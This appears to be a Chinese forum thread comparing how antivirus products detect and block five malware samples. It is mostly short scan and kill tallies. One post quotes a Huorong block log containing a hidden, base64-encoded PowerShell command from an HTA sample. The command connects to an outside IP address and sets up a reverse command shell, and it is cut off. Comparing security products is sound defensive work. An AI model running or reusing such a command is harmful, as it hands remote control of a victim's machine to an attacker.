[病毒样本] 5X

显示全部楼层 · 发表于 2023-11-11 12:24:06

显示全部楼层 · 发表于 2023-11-11 12:37:53

eset 扫描2X

显示全部楼层 · 发表于 2023-11-11 12:40:54

卡巴清空

显示全部楼层 · 发表于 2023-11-11 12:52:41

本帖最后由 UNknownOoo 于 2023-11-11 15:30 编辑

火绒
扫描：特征 2X

剩下双击：

21.hta:

防护项目：隐藏执行PowerShell
执行文件：C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
执行命令行："C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -enc JABhAGQAZAByAGUAcwBzAD0AJwAxADcANgAuADkANwAuADcAMQAuADEAMgAwACcAOwAkAHAAbwByAHQAPQAnADIAMQAnADsAdwBoAGkAbABlACgAJAB0AHIAdQBlACkAewBkAG8AewB0AHIAeQAgAHsAJABjAGwAaQBlAG4AdAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAYwBwAEMAbABpAGUAbgB0ACgAJABhAGQAZAByAGUAcwBzACwAJABwAG8AcgB0ACkAOwAkAHMAdAByAGUAYQBtAD0AJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7ACQAdwByAGkAdABlAHIAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBXAHIAaQB0AGUAcgAoACQAcwB0AHIAZQBhAG0AKQA7ACQAcgBlAGEAZABlAHIAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoACQAcwB0AHIAZQBhAG0AKQA7AGIAcgBlAGEAawA7AH0AYwBhAHQAYwBoAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQA7AH0AfQB3AGgAaQBsAGUAKAAkAHQAcgB1AGUAKQBkAG8AewB0AHIAeQB7ACQAYwBtAGQAXwB0AHkAcABlAD0AJAByAGUAYQBkAGUAcgAuAFIAZQBhAGQATABpAG4AZQAoACkAOwB9AGMAYQB0AGMAaAB7AFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwBlAHI
操作结果：已阻止

复制代码

a.exe - MISS

显示全部楼层 · 发表于 2023-11-11 13:36:30

捉3

显示全部楼层 · 发表于 2023-11-11 15:23:17

瑞星ESM kill dll+1x exe

显示全部楼层 · 发表于 2023-11-11 15:41:06

蜘蛛扫描miss
双击阻断2（2和3）

EMSI 扫描 3

显示全部楼层 · 发表于 2023-11-11 15:57:40

McAfee 扫描3x，双击阻止1x
21.hta双击被RP阻止

显示全部楼层 · 发表于 2023-11-11 16:41:44

本帖最后由 xjwtzq 于 2023-11-11 16:48 编辑

BDTS kill 4，安天kill all

显示全部楼层 · 发表于 2023-11-11 18:49:48